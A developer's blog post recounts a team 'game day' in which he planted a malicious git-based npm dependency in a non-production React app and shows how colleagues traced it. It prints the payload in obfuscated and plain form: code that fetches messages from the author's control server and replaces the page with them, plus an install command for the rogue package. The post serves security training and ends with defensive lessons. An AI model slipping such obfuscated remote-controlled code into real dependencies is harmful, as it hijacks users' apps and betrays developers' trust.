Taking Over React Apps with Dodgy Dependencies

By
Jeremy Nagel
April 16, 2021

Highlights

I dare you to do two things in a React codebase of your choosing:

  1. Install an innocent progress bar module

npm install nprogres/nprogress

  1. Add this import anywhere in the codebase

import NProgress from ‘nprogress’

You’ll find that 5 seconds after loading the page, the app is replaced with

Game days

I built this rudimentary piece of malware for a game day. Every month or so, one of our dev team members at Okra Solar runs an exercise to help the rest of the team prepare for what happens if something goes very wrong. On our last game day, our CTO deployed a dodgy commit which changed the port our app listened to, completely bricking it and then turned off a few services (in our non-prod environment). It was an excellent exercise that taught us all a bit more about how Okra’s microservices fit together and how to quickly remediate problems in a relatively low-stress environment.

Lockfile vulnerabilities

It was my turn this month and I decided to explore lockfile vulnerabilities. I’ve been meaning to try out lockfile-lint after reading Liran Tal’s article on lockfile vulnerabilities.

The basic idea is that you can sneak in a dodgy dependency by updating package-lock.json or yarn.lock without the rest of the team noticing because no one ever reviews those lock files.

Unfortunately, I didn’t find an easy way to exploit this. As documented in my github issue, yarn will ignore a git dependency in yarn.lock in preference to what is specified in package.json.

My efforts at stealth somewhat hindered, I still went ahead with my attack shrouding the change to package.json amidst a myriad of other changes.

My efforts were further stymied by the docker image we were using (node:alpine-14) which did not contain the git binary. Our CTO noticed this during code review…awkward.

There was no good way of explaining this change so I enlisted him to my noble cause.

With that seal of approval, the dodgey dependency was released to our non-prod environment.

The evil code looked like this:

const _0x11fe=[‘innerHTML’,’1JwBBYa’,’location’,’908879XwrzjV’,’2214035WkNkYC’,’disabled’,’1663049cBXnPL’,’1tnddhR’,’2NlbbYr’,’body’,’includes’,’943432OwdISR’,’247079bISkdK’,'<h1>’,’checkStatus’,’1698772NqdNll’,’1719441YwAscq’,’href’,’hostname’,'</h1>’,’parse’,’text’,’GET’];const _0x31ca=function(_0x23e562,_0x283f7f){_0x23e562=_0x23e562-0x1d4;let _0x11fe07=_0x11fe[_0x23e562];return _0x11fe07;};(function(_0x13afa3,_0xbc885f){const _0x1cf306=_0x31ca;while(!![]){try{const _0x907b9f=-parseInt(_0x1cf306(0x1db))+-parseInt(_0x1cf306(0x1d7))+parseInt(_0x1cf306(0x1d6))+-parseInt(_0x1cf306(0x1e5))*-parseInt(_0x1cf306(0x1e9))+-parseInt(_0x1cf306(0x1e3))*parseInt(_0x1cf306(0x1e8))+-parseInt(_0x1cf306(0x1da))+parseInt(_0x1cf306(0x1e6))*parseInt(_0x1cf306(0x1ea));if(_0x907b9f===_0xbc885f)break;else _0x13afa3[‘push’](_0x13afa3[‘shift’]());}catch(_0x464906){_0x13afa3[‘push’](_0x13afa3[‘shift’]());}}}(_0x11fe,0xe86e8));async function checkStatus(){const _0xeaa0c7=_0x31ca,_0x25b406=await fetch(atob(‘aHR0cHM6Ly9qZXJlbXluYWdlbC5pbmZvL29rcmEvaGF4LnR4dA==’),{‘method’:_0xeaa0c7(0x1e1)}),_0x45a925=await _0x25b406[_0xeaa0c7(0x1e0)](),_0xd965b1=JSON[_0xeaa0c7(0x1df)](_0x45a925),_0x12a983=window[_0xeaa0c7(0x1e4)][_0xeaa0c7(0x1dd)],_0x127563=_0xd965b1[_0x12a983],_0x58ee06=_0x127563?atob(_0x127563):_0xeaa0c7(0x1e7);(window[‘location’][_0xeaa0c7(0x1dc)][_0xeaa0c7(0x1d5)](_0xeaa0c7(0x1d9))||!_0x58ee06[‘includes’](_0xeaa0c7(0x1e7)))&&setTimeout(()=>{const _0x47baf9=_0xeaa0c7;document[_0x47baf9(0x1d4)][_0x47baf9(0x1e2)]=_0x47baf9(0x1d8)+_0x58ee06+_0x47baf9(0x1de),alert(_0x58ee06);},0x1388);}checkStatus();

Or in non-obfuscated form:

async function hax() {
const haxResponse = await
fetch(atob(‘aHR0cHM6Ly9qZXJlbXluYWdlbC5pbmZvL29rcmEvaGF4LnR4dA==’), {
method: ‘GET’
});
const haxText = await haxResponse.text()
const haxData = JSON.parse(haxText)
const hostName = window.location.hostname
const rawMessage = haxData[hostName]
const message = rawMessage ? atob(rawMessage) : ‘disabled’
if (window.location.href.includes(‘hax’) ||
!message.includes(‘disabled’)) {
setTimeout(() => {
document.body.innerHTML = `<h1>${message}</h1>`
alert(message);
}, 5000);
}
}
hax()

At the appointed hour, I changed the message on my control server and shared some awful news with the team. Apparently a hacking collective named after a misspelt vegetable had decided to attack us.

The team rapidly assembled and began examining our app and our AWS account for evidence of intrusion. They quickly noticed a strange new network request.

Aided by some helpful clues from the “Brocolli gang” (I changed the hax.txt message when they got stuck), they identified the root cause and remediated the problem.

Takeaways

  1. It’s probably best not to include the git binary in docker images you’re using to build node js apps. That way you’re less vulnerable to this type of attack.
  1. Be very wary of git-based dependencies (and dependencies in general!)
  1. Game days are fun
  1. There is nothing malicious about the real nprogress module available from npm (but be careful about any that are published by me or my pseudonyms!)

Jeremy is passionate about meaningful projects and making a real, impactful contribution. He thinks about software problems in detail and fully considers a problem before making commits. At Okra he is a senior full-stack developer, building cutting edge tools that make it easier for energy companies to operate at the last mile.

#PowerToThePeople